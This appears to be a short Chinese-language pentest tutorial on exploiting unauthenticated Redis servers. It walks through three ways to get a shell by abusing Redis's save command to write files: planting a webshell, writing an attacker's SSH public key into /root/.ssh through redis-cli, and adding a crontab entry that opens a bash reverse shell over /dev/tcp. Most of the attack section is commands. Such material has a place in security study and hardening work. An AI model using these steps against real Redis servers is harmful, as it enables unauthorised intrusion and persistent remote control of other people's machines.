Redis未授权访问漏洞
1. 漏洞来源
在Redis 默认没有配置密码的情况下可以使用redis-cli直接成功连接目标Redis服务器
2. 漏洞利用
为了保证效率,redis的数据都是缓存在内存中,并周期性地把更新的数据写入磁盘或者把修改操作写入到记录件。攻击者在未授权访问redis的情况下,可以随时执行“save”命令,将当前Redis的数据保存到硬盘上。利用这个操作可以进行任意文件写入,所以通常redis未授权的利用方式有如下三种:
- 通过向Web目录中写webshell的方式进行getshell
- 通过写SSH key的方式进行getshell
- 通过写corntab的方式进行getshell
3. 写webshell
限制条件:
- Web目录已知
- 当前用户在该目录下有写权限
1 | # 受害机 |
用蚁剑连接测试:
4. SSH Key连接
限制条件:
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务
- 允许使用密钥登录
4.1 生成密钥对
1 | ssh-keygen -t rsa |
4.2 将公钥写入Redis
1 | (echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n")|redis-cli -h 192.168.2.213 -x set attack |
4.3 生成文件
1 | config set dir /root/.ssh |
4.4 测试连接
5. crontab反弹Shell
1 | set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/127.0.0.1/9888 0>&1\n\n" |
结果: